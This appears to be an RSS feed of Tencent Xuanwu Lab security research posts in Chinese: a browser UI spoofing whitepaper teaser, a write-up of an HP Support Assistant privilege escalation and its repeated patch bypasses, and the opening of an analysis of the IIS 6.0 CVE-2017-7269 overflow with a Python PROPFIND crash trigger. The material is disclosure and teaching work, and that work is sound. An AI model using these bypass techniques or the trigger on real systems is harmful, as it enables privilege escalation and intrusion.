腾讯玄武实验室 http://xlab.tencent.com/cn Thu, 09 Nov 2017 03:17:42 +0000 zh-CN hourly 1 https://wordpress.org/?v=4.6 Browser UI Security 技术白皮书 http://xlab.tencent.com/cn/2017/10/16/browser-ui-security-whitepaper/ Mon, 16 Oct 2017 05:26:14 +0000 http://xlab.tencent.com/cn/?p=332 继续阅读“Browser UI Security 技术白皮书”]]> Browser UI ,是指浏览器用户界面。浏览器经过几十年的发展,对于用户界面并没有一个统一的规定标准,目前大多数现代浏览器的用户界面包括:前进和后退按钮、刷新和停止加载按钮、地址栏、状态栏、页面显示窗口、查看源代码窗口、标签等。另外可能还会有一些其他的用户界面,例如下载管理、页面查找、通知、系统选项管理、隐身窗口等等。我们可以把Browser UI认为是一个前端标签式的页面管理器或者Web的外壳,用户不必去考虑浏览器应用程序底层是如何处理数据的,所有的网络行为结果,均由Browser UI去展现给用户。

从安全的角度来说,浏览器UI上最容易发生的攻击就是用户界面欺骗,也就是UI Spoof。通常UI Spoof被用来进行网络钓鱼攻击使用。网络钓鱼是社会工程学中用于欺骗用户,进而获取用户的敏感信息的一种攻击手段,通常使用伪造网站等方法,诱使用户从视觉感官上相信其是合法真实的,当用户在浏览器中进行操作后,敏感信息就有可能被攻击者获取到。

因此浏览器UX团队在开发UI过程中,在便捷用户浏览的同时,对UI安全模型上的设计、策略、逻辑也显得非常重要,安全的UI能帮助用户在上网时快速、准确的做出正确安全的决策。 而UI一旦出现了缺陷,攻击者就可能伪造浏览器UI中的某些关键信息,进而对用户实施网络钓鱼攻击。

本技术白皮书中将给大家介绍什么是UI Spoof漏洞,并对多个浏览器UI上的安全漏洞进行详细分析。

下载链接: Browser-UI-Security-技术白皮书.pdf

]]>
从一个补了三次的漏洞看WCF的安全编程 http://xlab.tencent.com/cn/2017/09/11/safe-coding-of-wcf-viewed-from-a-longlive-vulnerability/ Mon, 11 Sep 2017 07:02:44 +0000 http://xlab.tencent.com/cn/?p=292 继续阅读“从一个补了三次的漏洞看WCF的安全编程”]]> 背景

笔者在2016年11月发现并报告了HP Support Assistant (HPSA) 的权限提升漏洞,HP Product Security Response Team (HP PSRT) 响应迅速,但却以此漏洞可以通过软件的自动更新功能自动修复为由拒绝为其发布安全公告和CVE。4月份想起这件事后,笔者又分析了一遍修补后的HPSA,发现HP的开发人员在修补中犯了更为低级的错误,导致补丁可以被绕过重新实现权限提升。在随后与HP PSRT的沟通与合作中,再一次利用其它技巧绕过了其后续修补,最终笔者协助HP PSRT完成了漏洞的修补。

本文将分析此漏洞的成因及多次补丁绕过,希望能以此为案例提高开发人员对安全的认识和理解,以减少由于对所用技术理解不到位和安全编程意识匮乏而导致的安全漏洞。

问题描述

HPSA是惠普推出的系统管理软件,被默认安装在惠普的所有PC中。其用于维护系统及打印机,并提供自动更新等功能。HPSA使用.Net开发,其系统服务HPSupportSolutionsFrameworkService使用WCF与客户端通信,完成系统更新、管理等高权限敏感操作。虽然HPSA使用了较新的分布式处理技术WCF,然而在Server与Client通信过程中,却采用了不正确的认证方式。导致攻击者可以绕过认证,最终利用其敏感服务接口的缺陷,实现everyone到system的权限提升。

本文将从WCF技术背景、漏洞发现、漏洞利用、补丁实现和两次绕过几个方面进行分析。

WCF技术背景

WCF(Windows Communication Foundation) 是用于面向服务应用程序的编程框架,基于WCF的服务可以有两种形式:1). 通过IIS寄宿的方式将服务寄宿于IIS中; 2). 通过自我寄宿(Self-Hosting)的方式将服务寄宿于普通应用程序、windows服务之中。

WCF使用Endpoint的概念,在服务Endpoint和客户Endpoint之间传输异步消息。 Endpoint用来描述消息发往什么地方,如何被发送等行为。一个服务端Endpoint主要由三部分构成:

1). Addrsss
唯一标识endpoint,是描述服务接口的URI,可以是相对地址(相对于ServiceHost(Type, Uri[])的URI),也可以是绝对地址。

2). Binding
指定绑定在endpoint上的接口类型,描述endpoint间通信时使用的协议、消息编码方式、安全设置等。
WCF支持:HttpBindingBase, MsmqBindingBase, NetNamedPipeBinding, NetPeerTcpBinding, NetTcpBinding, UdpBinding, WebHttpBinding, WSDualHttpBinding, WSHttpBindingBase, CustomBinding多种绑定类型。

3). Contract
契约指定并设置绑定到当前endpoint上的服务接口,即哪些方法被导出给客户端,方法的授权情况、消息格式等。

漏洞成因

HPSA的系统服务HPSupportSolutionsFrameworkService具有SYSTEM权限,并开启了多个允许everyone账户读写的NamePipe。这一敏感行为引起了笔者的注意,因此dump下安装包进一步分析。

反混淆反编译后进行代码审计,发现HPSA的系统服务使用WCF与Client进行交互。它创建了一个绑定在NetNamedPipeBinding(URI:”net.pipe://localhost/HPSupportSolutionsFramework/HPSA”)上的Endpoint,并允许Client调用多个绑定在此Endpoint上的服务接口:HP.SupportFramework.ServiceManager.Interfaces::IServiceInterface。

HPSA在连接建立时对Client进行了认证,以阻止敏感接口被恶意程序调用。Server与Client的交互过程如下表所示:

Timeline Client Server
0 创建 Endpoint
1 实例化HP.SupportFramework.ServiceManager.Interfaces命名空间中ServiceInterface类, 创建一个随机GUID, 将其作为参数调用绑定在 Endpoint 上的 StartClientSession(string guid); StartClientSession(string guid)接收Client传递过来的随机GUID, 创建命名管道HPSA_guid, 等待Client连接
2 连接Server创建的命名管道HPSA_guid, 进行身份“认证”
3 通过GetNamedPipeClientProcessId()获取Client的PID, 通过Process.get_MainModule().get_FileName();获取进程路径, 对Client的签名进行验证
4 若签名验证通过, 生成一个ClientId(随机数)和一个Token(GUID), 并将ClientId、Token、CallerName保存到内部维护的“Client对象链表”中, 最后将随机数ClientId发送给Client。关闭命名管道
5 接收到Server返回的ClientId(随机数)后, 将其保存在ServiceInterface.ClientInfo.ClientId中。关闭命名管道
6 调用绑定在 Endpoint上的 GetClientToken(ServiceInterface.ClientInfo.ClientId), 通过ClientId从Server处获取Token, 转换成SecureString, 保存在ServiceInterface.ClientInfo.Token中, Token将作为临时身份令牌使用 GetClientToken(int clientId) 接收Client传过来的ClientId, 从“Client对象链表”中索引其对应的Token(secureString形式的GUID)并返回
7 随后Client即可使用随机数Token作为参数, 调用绑定在StartClientSession上的其它敏感服务接口 绑定在Endpoint上的敏感操作, 例如DeleteFile(string filePath, string token), 在收到Client发送来的Token时, 通过遍历Client对象链表来验证调用者身份

在Server与Client的交互过程中,HPSupportSolutionsFrameworkService使用了多种途径来确保安全:验证Client是否为HP签名、使用SecureString存储GUID、使用RNGCryptoServiceProvider生成随机数、调用敏感接口时验证Client的Token。

千里之堤毁于蚁穴,在看似缜密的认证逻辑中却存在安全漏洞:HPSupportSolutionsFrameworkService使用Process.MainModule.FileName获取Client的文件路径,随后验证其文件签名。然而,在C#中Process.MainModule.FileName是通过调用GetModuleFileName()索引进程的PEB (Process Environment Block)来获取模块路径的。PEB位于进程的用户空间中,因此可以被攻击者修改替换。攻击者只需在连接Server的Endpoint前修改PEB,使模块路径指向一个有效的HP签名文件即可绕过签名检测,最终通过认证。

漏洞利用

绕过HPSA Server的认证后,就可以调用绑定在此Endpoint上的服务接口函数了。接下来的工作就是从可用的服务接口函数中寻找可以利用的方法,实现权限提升。HPSupportSolutionsFrameworkService的服务接口函数实现在HP.SupportFramework.ServiceManager.ServiceTasks::ServiceTask中,大致浏览一遍接口函数发现UncompressCabFile服务接口可以用于任意文件写,DeleteFile服务接口可以用于任意文件删除。

UncompressCabFile的实现逻辑如下:

public bool UncompressCabFile(string cabFilePath, string destDirectory, string token)
{
    if (!\u0004.Instance.\u0001(SharedCommon.StringToSecureString(token)))
    {
        if (DebugLog.IsDebug)
        {
            DebugLog.LogDebugMessage("signature validation failure for UncompressCabFile", DebugLog.IndentType.None);
        }
        return false;
    }

    if (!File.Exists(cabFilePath))
    {
        return false;
    }

    if (!Validation.VerifyHPSignature(cabFilePath))
    {
        File.Delete(cabFilePath);
        return false;
    }

    string text = "\"" + cabFilePath + "\"";
    string text2 = "\"" + destDirectory + "\"";
    ProcessStartInfo processStartInfo = new ProcessStartInfo();
    processStartInfo.set_WindowStyle(1);
    processStartInfo.set_Arguments("-qq " + text + " -d " + text2);
    processStartInfo.set_FileName(SupportAssistantCommon.FrameworkPath + "Modules\\unzip.exe");
    Process process = new Process();
    process.set_StartInfo(processStartInfo);
    process.Start();
    process.WaitForExit();

    if (File.Exists(cabFilePath))
    {
        File.Delete(cabFilePath);
    }
    return true;
}

UncompressCabFile利用unzip.exe将压缩文件cabFilePath解压至destDirectory,在解压前首先验证了cab文件的签名。由于在签名验证和解压缩之间存在时间差,因此这里存在TOCTTOU(Time of Check To Time of Use)问题,可以利用条件竞争绕过签名检测将文件写入任意目录,最终可以实现权限提升。

DeleteFile的实现逻辑如下:

public void DeleteFile(string filePath, string token)
{
    if (\u0007.Instance.\u0001(SharedCommon.StringToSecureString(token)))
    {
        try
        {
            File.Delete(filePath);
            return;
        }
        catch (Exception ex)
        {
            if (DebugLog.IsDebug)
            {
                DebugLog.LogDebugMessage("exception in DeleteFile: " + ex.Message, DebugLog.IndentType.None);
            }
            return;
        }
    }

    if (DebugLog.IsDebug)
    {
        DebugLog.LogDebugMessage("token not valid in DeleteFile", DebugLog.IndentType.None);
    }
}

因此利用过程如下所述:
1. 修改PEB,将进程路径指向合法的HP签名程序
2. 通过反射机制获取HP.SupportFramework.ServiceManager.Interfaces命名空间中ServiceInterface类的get_Instance()方法
3. 实例化ServiceInterface
4. 调用ServiceInterface::UncompressCabFile服务接口,结合条件竞争实现权限提升

补丁实现和绕过1

漏洞报告后HP PSRT快速响应,并在半个月内通过邮件告知已经发布了新版来解决此安全漏洞。4月初,再次分析后发现新版本的HPSA依旧在使用everyone可写的NamePipe,笔者决定针对HP的修复再次分析。

通过短暂的逆向分析,定位了补丁修复位置。补丁在HP.SupportFramework.ServiceManager.Interfaces::ServiceInterface::get_Instance()中添加了如下逻辑:

StackFrame stackFrame = new StackFrame(1);
MethodBase method = stackFrame.GetMethod();
Type declaringType = method.get_DeclaringType();
string name = method.get_Name();

if (name.ToLowerInvariant().Contains("invoke"))
{
    string text2 = new \u0007().\u0001(Process.GetCurrentProcess());
    text2 = Uri.UnescapeDataString(Path.GetFullPath(text2));
    string text3 = Assembly.GetEntryAssembly().get_Location();
    text3 = Uri.UnescapeDataString(Path.GetFullPath(text3));
    if (text3.ToLowerInvariant() != text2.ToLowerInvariant())
    {
        if (DebugLog.IsDebug)
        {
            DebugLog.LogDebugMessage(string.Concat(new string[]
            {
                "Illegal operation. Calling process (",
                text3,
                ") is not the same as process invoking method  (",
                text2,
                ")"
            }), DebugLog.IndentType.None);
        }
        throw new Exception("Invoking methods is not allowed.");
    }
}

namespace \u0007
{
    // Token: 0x02000081 RID: 129
    internal sealed class \u0007
    {
        internal string \u0001(Process \u0002)
        {
            try
            {
                string result = \u0002.get_MainModule().get_FileName();
                return result;
            }
            …
        }
        …
    }
}

以上代码在实例化时,首先通过Assembly.GetEntryAssembly().get_Location()获取Client的文件路径,并与通过Process.MainModule.FileName方法获取的Client模块路径进行对比,如果不一致则抛出异常。

.Net的运行时环境规定,拥有同样标识的.Net程序集只能被加载一次。由于HP.SupportFramework.ServiceManager.dll已经被HPSupportSolutionsFrameworkService加载,所以HP的开发人员认为此举可以有效阻止攻击者通过修改PEB,并利用反射机制创建ServiceInterface来绕过认证。

然而,HP的.Net开发人员显然是忽视了进程空间的安全边界。此处所做的检测仍然位于Client进程空间,如同修改PEB那样,Client依旧拥有权限修改进程空间内的数据和代码。Client可以采取多种方案绕过检测:
1. 在实例化前,定位并修改HP.SupportFramework.ServiceManager.dll中的检测逻辑;
2. 自己实现与Server的交互,认证,服务接口调用等;
3. 静态Patch检测逻辑,并修改程序集HP.SupportFramework.ServiceManager.dll的标识,使修改后的文件可以被加载进Client进程空间。

其中方案3最为简洁,这里可以直接利用工具修改其判断逻辑为 if (text3.ToLowerInvariant() == text2.ToLowerInvariant()),并修改程序集的版本号(微软官方文档中描述了影响.Net可执行程序标识的属性包括:AssemblyCultureAttribute, AssemblyFlagsAttribute, AssemblyVersionAttribute [3])。最终实现对补丁的绕过,重新实现权限提升。

补丁实现和绕过2

又一次,将漏洞和修补方案报告给HP PSRT后,HP的开发人员从两个方面做了修补:
1. 对Client的认证方式做调整,Server不再使用Process.MainModule.FileName获取Client的文件路径,而是通过GetProcessImageFileName()来获取,避免从PEB获取到被篡改的Client文件路径。
2. 在UncompressCabFile和DeleteFile中,检查了参数里的文件/目录路径是否合法。

查看UncompressCabFile和DeleteFile里的文件/目录路径检测逻辑,发现其仅仅使用了字符串比较来检测路径是否合法,而不是对规范化后的路径进行检测。代码如下:

internal static bool \u0001(string \u0002)
{
    string[] array = new string[]
    {
        "AppData\\Local\\Hewlett-Packard\\HP Support Framework",
        Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\Hewlett-Packard\\HP Support Framework",
        SupportAssistantCommon.MainAppPath,
        SupportAssistantCommon.FrameworkPath
    };
    string[] array2 = array;

    for (int i = 0; i < array2.Length; i++)
    {
        string text = array2[i];
        if (\u0002.ToLowerInvariant().Contains(text.ToLowerInvariant()))
        {
            return true;
        }
    }

    if (DebugLog.IsDebug)
    {
        DebugLog.LogDebugMessage("Invalid File detected: " + \u0002, DebugLog.IndentType.None);
    }
    return false;
}

因此这里使用目录穿越即可绕过路径检查。对Client的认证也很容易绕过,使用Hewlett-Packard安装目录里任意一个拥有有效签名的程序,将漏洞利用代码注入其中即可绕过对Client的认证检测。

最终,HP PSRT修正了路径检测的逻辑,增加了对目录穿越行为的检测,相关代码如下所示:

    internal static bool \u0002(string \u0002)
    {
        if (!Path.IsPathRooted(\u0002) || \u0002.StartsWith("\\") || \u0002.Contains("..") || \u0002.Contains(".\\"))
        {
            if (DebugLog.IsDebug)
            {
                DebugLog.LogDebugMessage("Invalid File detected: " + \u0002, DebugLog.IndentType.None);
            }
            return false;
        }
        return true;
    }

笔者在漏洞细节中建议HP PSRT彻查所有服务接口的安全性,对其参数进行正确的检测,以免再次被攻击者利用。

总结

安全漏洞会在软件生命周期(需求分析、设计、实现、维护等过程)内的各个阶段被引入,研发人员除了需要在设计和实现阶段避免安全漏洞外,还需要在出现漏洞后运用合理的修补方案。这里HPSA出现的问题就是在设计、实现、维护阶段共同引入的。

1). 设计阶段
也许是为了保证未签名程序也可以调用服务端的非敏感接口(例如DecryptFile, DeleteTempSession等未验证Client身份的服务接口),又或许是为了让Guest用户也可以对系统进行更新等操作。最终导致HPSA没有利用系统提供的访问权限检查机制[2]来隔离权限边界,使得软件从设计之初就引入安全风险。

2). 实现阶段
HPSA的开发人员未意识到通过Process.MainModule.FileName获取Client文件路径的不安全性,从而导致认证可以被绕过;也未意识到敏感服务接口的危险性,未对敏感服务接口的参数的合法性进行正确检测,从而导致可以被攻击者用于权限提升。事实上,任何试图通过进程对应的文件来检查进程安全性的做法都是存在安全隐患的。

3). 维护阶段
在对一个漏洞的三次修补过程中,HPSA的开发人员更是忽视了进程的安全边界,使用了多种错误的修补方案,导致补丁被多次绕过。

从这个漏洞的成因和多次修补可以看出,HP的开发人员存在对所用技术理解不到位,缺乏安全编程经验的问题。希望这篇文章能给研发人员带来安全编程的思考和经验的提升,不在设计、实现、维护阶段发生类似HPSA这样的一系列错误。

Timeline

  • 11/30/2016    Provide vulnerability details and PoC to HP Inc. via hp-security-alert@hp.com
  • 12/02/2016    HP Inc. responded that they had validated and opened case PSR-2016-0118 for the issue
  • 12/13/2016    HP Inc. released a fix for the reported issue
  • 01/04/2017    HP Inc. responded that the vulnerability was fixed
  • 01/05/2017    Ask for more information
  • 01/14/2017    HP Inc. responded that they are still investigating
  • 02/03/2017    HP Inc. responded that this issue can be automatically resolved, thus they don’t issue security bulletin and CVE numbers
  • 04/20/2017    Report the patch can be bypass. Provide vulnerability details and PoC to HP Inc.
  • 04/20/2017    HP Inc. responded that they had validated and opened case PSR-2017-0056 for the issue
  • 05/29/2017    HP Inc. responded that the fixed version will be released in mid-June 2017
  • 06/07/2017    HP Inc. published a new patch and asked me to confirm the vulnerability doesn’t exist
  • 06/07/2017    Report the patch can be bypass again. Provide vulnerability details and PoC to HP Inc. Also, provide some repair advice.
  • 06/15/2017    HP Inc. published a new patch and asked me to confirm the vulnerability doesn’t exist
  • 06/15/2017    Confirm the patch is valid. And recommend HP Inc. make sure there no other vulnerable functions can be exploited now, nor will be in the future.
  • 08/31/2017    HP Inc. published a security bulletin (https://support.hp.com/sk-en/document/c05648974) and issued a CVE (CVE-2017-2744).
  • 09/11/2017    Report the patch can be bypass with junction point. Provide vulnerability details to HP Inc.
  • 10/06/2017    HP Inc. responded that they restricted the directories within c:\program files\hewlett-packard\ to prevent the bypass.

Reference

1. Windows Communication Foundation Security
https://msdn.microsoft.com/en-us/library/ms732362(v=vs.110).aspx

2. Authentication and Authorization in WCF Services – Part 1
https://msdn.microsoft.com/en-us/library/ff405740.aspx

3. Setting Assembly Attributes
https://msdn.microsoft.com/en-us/library/4w8c1y2s(v=vs.110).aspx

]]>
深入分析NSA用了5年的IIS漏洞 http://xlab.tencent.com/cn/2017/04/18/nsa-iis-vulnerability-analysis/ Tue, 18 Apr 2017 08:07:17 +0000 http://xlab.tencent.com/cn/?p=274 继续阅读“深入分析NSA用了5年的IIS漏洞”]]> Author: Ke Liu of Tencent’s Xuanwu Lab

1. 漏洞简介

1.1 漏洞简介

2017年3月27日,来自华南理工大学的 Zhiniang Peng 和 Chen Wu 在 GitHub [1] 上公开了一份 IIS 6.0 的漏洞利用代码,并指明其可能于 2016 年 7 月份或 8 月份被用于黑客攻击活动。

该漏洞的编号为 CVE-2017-7269 [2],由恶意的 PROPFIND 请求所引起:当 If 字段包含形如 <http://localhost/xxxx> 的超长URL时,可导致缓冲区溢出(包括栈溢出和堆溢出)。

微软从 2015 年 7 月 14 日开始停止对 Windows Server 2003 的支持,所以这个漏洞也没有官方补丁,0patch [3] 提供了一个临时的解决方案。

无独有偶,Shadow Brokers 在2017年4月14日公布了一批新的 NSA 黑客工具,笔者分析后确认其中的 Explodingcan 便是 CVE-2017-7269 的漏洞利用程序,而且两个 Exploit 的写法如出一辙,有理由认为两者出自同一团队之手:

  • 两个 Exploit 的结构基本一致;
  • 都将 Payload 数据填充到地址 0x680312c0
  • 都基于 KiFastSystemCall / NtProtectVirtualMemory 绕过 DEP;

本文以 3 月份公布的 Exploit 为基础,详细分析该漏洞的基本原理和利用技巧。

1.2 原理概述

  • CStackBuffer 既可以将栈设置为存储区(少量数据)、也可以将堆设置为存储区(大量数据);
  • CStackBuffer 分配存储空间时,误将 字符数 当做 字节数 使用,此为漏洞的根本原因;
  • 因为栈上存在 cookie,不能直接覆盖返回地址;
  • 触发溢出时,改写 CStackBuffer 对象的内存,使之使用地址 0x680312c0 作为存储区;
  • 将 Payload 数据填充到 0x680312c0
  • 程序存在另一处类似的漏洞,同理溢出后覆盖了栈上的一个指针使之指向 0x680313c0
  • 0x680313c0 将被当做一个对象的起始地址,调用虚函数时将接管控制权;
  • 基于 SharedUserData 调用 KiFastSystemCall 绕过 DEP;
  • URL 会从 UTF-8 转为 UNICODE 形式;
  • Shellcode 使用 Alphanumeric 形式编码(UNICODE);

2. 漏洞原理

2.1 环境配置

在 Windows Server 2003 R2 Standard Edition SP2 上安装 IIS 并为其启用 WebDAV 特性即可。
为IIS启用WebDAV特性

修改 Exploit 的目标地址,执行后可以看到 svchost.exe 启动 w3wp.exe 子进程,后者以 NETWORK SERVICE 的身份启动了 calc.exe 进程 。
CVE-2017-7269 IIS远程代码执行漏洞exploit

2.2 初步调试

首先,为进程 w3wp.exe 启用 PageHeap 选项;其次,修改 Exploit 的代码,去掉其中的 Shellcode,使之仅发送超长字符串。

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.75.134',80))
pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
pay+='If: <http://localhost/aaaaaaa'
pay+='A'*10240
pay+='>\r\n\r\n'
sock.send(pay)

执行之后 IIS 服务器上会启动 w3wp.exe 进程(并不会崩溃),此时将 WinDbg 附加到该进程并再次执行测试代码,即可在调试器中捕获到 first chance 异常,可以得到以下信息:

  • httpext!ScStoragePathFromUrl+0x360 处复制内存时产生了堆溢出;
  • 溢出的内容和大小看起来是可控的;
  • 被溢出的堆块在 httpext!HrCheckIfHeader+0x0000013c 处分配;
  • 崩溃所在位置也是从函数 httpext!HrCheckIfHeader 执行过来的;
  • 进程带有异常处理,因此不会崩溃;
$$ 捕获 First Chance 异常
0:020> g
(e74.e80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00005014 ebx=00002809 ecx=00000a06 edx=0781e7e0 esi=0781a7e4 edi=07821000
eip=67126fdb esp=03fef330 ebp=03fef798 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
httpext!ScStoragePathFromUrl+0x360:
67126fdb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

0:006> r ecx
ecx=00000a06

0:006> db esi
0781a7e4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a7f4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a804  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a814  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a824  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a834  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a844  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a854  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.

$$ 目标堆块分配调用栈
0:006> !heap -p -a edi
    address 07821000 found in
    _DPH_HEAP_ROOT @ 7021000
    in busy allocation (  DPH_HEAP_BLOCK:  UserAddr  UserSize - VirtAddr  VirtSize)
                                 7023680:   781e7d8      2828 -  781e000      4000
    7c83d97a ntdll!RtlAllocateHeap+0x00000e9f
    5b7e1a40 staxmem!MpHeapAlloc+0x000000f3
    5b7e1308 staxmem!ExchMHeapAlloc+0x00000015
    67125df9 httpext!CHeap::Alloc+0x00000017
    67125ee1 httpext!ExAlloc+0x00000008
    67125462 httpext!HrCheckIfHeader+0x0000013c
    6712561e httpext!HrCheckStateHeaders+0x00000010
    6711f659 httpext!CPropFindRequest::Execute+0x000000f0
    6711f7c5 httpext!DAVPropFind+0x00000047
    $$ ......

$$ 调用栈
0:006> k
ChildEBP RetAddr  
03fef798 67119469 httpext!ScStoragePathFromUrl+0x360
03fef7ac 67125484 httpext!CMethUtil::ScStoragePathFromUrl+0x18
03fefc34 6712561e httpext!HrCheckIfHeader+0x15e
03fefc44 6711f659 httpext!HrCheckStateHeaders+0x10
03fefc78 6711f7c5 httpext!CPropFindRequest::Execute+0xf0
03fefc90 671296f2 httpext!DAVPropFind+0x47
$$ ......

$$ 异常可以被处理,因此不会崩溃
0:006> g
(e74.e80): C++ EH exception - code e06d7363 (first chance)

2.3 CStackBuffer

崩溃所在模块 httpext.dll 会多次使用一个名为 CStackBuffer 的模板,笔者写了一份类似的代码,以辅助对漏洞原理的理解。为了简单起见,默认存储类型为 unsigned char,因此省略了模板参数 typename T

CStackBuffer 的相关特性如下:

  • 默认使用栈作为存储空间,大小由模板参数 SIZE 决定;
  • 通过 resize 可以将堆设置为存储空间;
  • 通过 fake_heap_size 的最低位标识存储空间的类型;
  • 通过 release 释放存储空间;
  • 对象的内存布局依次为:栈存储空间、堆块大小成员、存储空间指针;

CStackBuffer 的源码如下:

template<unsigned int SIZE>
class CStackBuffer
{
public:
    CStackBuffer(unsigned int size)
    {
        fake_heap_size = 0;
        heap_buffer = NULL;
        resize(size);
    }

    unsigned char* resize(unsigned int size)
    {
        if (size <= SIZE)
        {
            size = SIZE;
        }

        if (fake_heap_size >> 2 < size)
        {
            if (fake_heap_size & 1 || size > SIZE)
            {
                release();
                heap_buffer = (unsigned char*)malloc(size);
                fake_heap_size |= 1;
            }
            else
            {
                heap_buffer = buffer;
            }
            fake_heap_size = (4 * size) | (fake_heap_size & 3);
        }
        fake_heap_size |= 2;
        return heap_buffer;
    }

    void release()
    {
        if (fake_heap_size & 1)
        {
            free(heap_buffer);
            heap_buffer = NULL;
        }
    }

    unsigned char* get()
    {
        return heap_buffer;
    }

    unsigned int getFakeSize()
    {
        return fake_heap_size;
    }

private:
    unsigned char buffer[SIZE];
    unsigned int fake_heap_size;
    unsigned char* heap_buffer;
};

2.4 漏洞调试

根据之前的简单分析,可知 HrCheckIfHeader 是一个关键函数,因为:

  • 目标堆块是在这个函数中动态分配的;
  • 从这里可以执行到触发异常的函数 ScStoragePathFromUrl

函数 HrCheckIfHeader 简化后的伪代码如下所示:

int HrCheckIfHeader(CMethUtil *pMethUtil)
{
    CStackBuffer<260> buffer1;
    LPWSTR lpIfHeader = CRequest::LpwszGetHeader("If", 1);
    IFILTER ifilter(lpIfHeader);
    LPWSTR lpToken = ifilter->PszNextToken(0);

    while (1)
    {
        // <http://xxxxx>
        if (lpToken)
        {
            CStackBuffer<260> buffer2;
            // http://xxxx>
            LPWSTR lpHttpUrl = lpToken + 1;
            size_t length = wcslen(lpHttpUrl);
            if (!buffer2.resize(2*length + 2))
            {
                buffer2.release();
                return 0x8007000E;
            }

            // 将 URL 规范化后存入 buffer2
            // length = wcslen(lpHttpUrl) + 1
            // eax = 0
            int res = ScCanonicalizePrefixedURL(
                lpHttpUrl, buffer2.get(), &length);
            if (!res)
            {
                length = buffer1.getFakeSize() >> 3;
                res = pMethUtil->ScStoragePathFromUrl(
                    buffer2.get(), buffer1.get(), &length);
                if (res == 1)
                {
                    if (buffer1.resize(length))
                    {
                        res = pMethUtil->ScStoragePathFromUrl(
                            buffer2.get(), buffer1.get(), &length);
                    }
                }
            }
        }
        // ......
    }
    // ......
}

可以看出这里的关键函数为 CMethUtil::ScStoragePathFromUrl,该函数会将请求转发给 ScStoragePathFromUrl,后者简化后的伪代码如下所示:

typedef struct _HSE_UNICODE_URL_MAPEX_INFO {
    WCHAR lpszPath[MAX_PATH];
    DWORD dwFlags;        // The physical path that the virtual root maps to
    DWORD cchMatchingPath;// Number of characters in the physical path
    DWORD cchMatchingURL; // Number of characters in the URL
    DWORD dwReserved1;
    DWORD dwReserved2;
} HSE_UNICODE_URL_MAPEX_INFO, * LPHSE_UNICODE_URL_MAPEX_INFO;

int ScStoragePathFromUrl(
    const struct IEcb *iecb, 
    const wchar_t *buffer2, 
    wchar_t *buffer1, 
    unsigned int *length, 
    struct CVRoot **a5)
{
    wchar_t *Str = buffer2;
    // 检查是否为 https://locahost:80/path http://localhost/path
    // 返回 /path>
    int result = iecb->ScStripAndCheckHttpPrefix(&Str);
    if (result < 0 || *Str != '/') return 0x80150101;
    int v7 = wcslen(Str);

    // c:\inetpub\wwwroot\path
    // dwFlags          = 0x0201
    // cchMatchingPath  = 0x12
    // cchMatchingURL   = 0x00
    // result = 0
    HSE_UNICODE_URL_MAPEX_INFO mapinfo;
    result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo);
    int v36 = result;
    if (result < 0) return result;

    // L"\x00c:\inetpub\wwwroot"
    // n == 0
    wchar_t *Str1 = NULL;
    int n = iecb->CchGetVirtualRootW(&Str1);
    if (n == mapinfo.cchMatchingURL)
    {
        if (!n || Str[n-1] && !_wcsnicmp(Str1, Str, n))
        {
            goto LABEL_14;
        }
    }
    else if (n + 1 == mapinfo.cchMatchingURL)
    {
        if (Str[n] == '/' || Str[n] == 0)
        {
            --mapinfo.cchMatchingURL;
            goto LABEL_14;
        }
    }
    v36 = 0x1507F7;
LABEL_14:
    if (v36 == 0x1507F7 && a5)      // a5 == 0
    {
        // ......
    }

    // 0x12
    int v16 = mapinfo.cchMatchingPath;
    if (mapinfo.cchMatchingPath)
    {
        // v17 = L"t\aaaaaaaAAA...."
        wchar_t *v17 = ((char*)&mapinfo - 2) + 2*v16;
        if (*v17 == '\\')
        {
            // ......
        }
        else if (!*v17)
        {
            // ......
        }
    }

    // v7 = wcslen(/path>)
    int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1;
    int v19 = *length < v18;
    if (v19)
    {
        *length = v18;
        if (a5) 
        {
            // ......
        }
        result = 1;
    }
    else 
    {
        int v24 = (2*mapinfo.cchMatchingPath >> 2);
        qmemcpy(
            buffer1, 
            mapinfo.lpszPath, 
            4 * v24);
        LOBYTE(v24) = 2*mapinfo.cchMatchingPath;
        qmemcpy(
            &buffer1[2 * v24],
            (char*)mapinfo.lpszPath + 4 * v24,
            v24 & 3);
        qmemcpy(
            &buffer1[mapinfo.cchMatchingPath],
            &Str[mapinfo.cchMatchingURL],
            2 * (v7 - mapinfo.cchMatchingURL) + 2);
        for (wchar_t *p = &buffer1[mapinfo.cchMatchingPath]; *p; p += 2)
        {
            if (*p == '/') *p = '\\';
        }
        *length = mapinfo.cchMatchingPath - mapinfo.cchMatchingURL + v7 + 1;
        result = v36;
    }

    return result;
}

函数 HrCheckIfHeader 会调用 ScStoragePathFromUrl 两次,在第一次调用 ScStoragePathFromUrl 时,会执行如下的关键代码:

{
    wchar_t *Str = buffer2;
    // 返回 /path>
    int result = iecb->ScStripAndCheckHttpPrefix(&Str);
    int v7 = wcslen(Str);

    HSE_UNICODE_URL_MAPEX_INFO mapinfo;
    result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo);

    // 0x12   L"c:\inetpub\wwwroot"
    int v16 = mapinfo.cchMatchingPath;

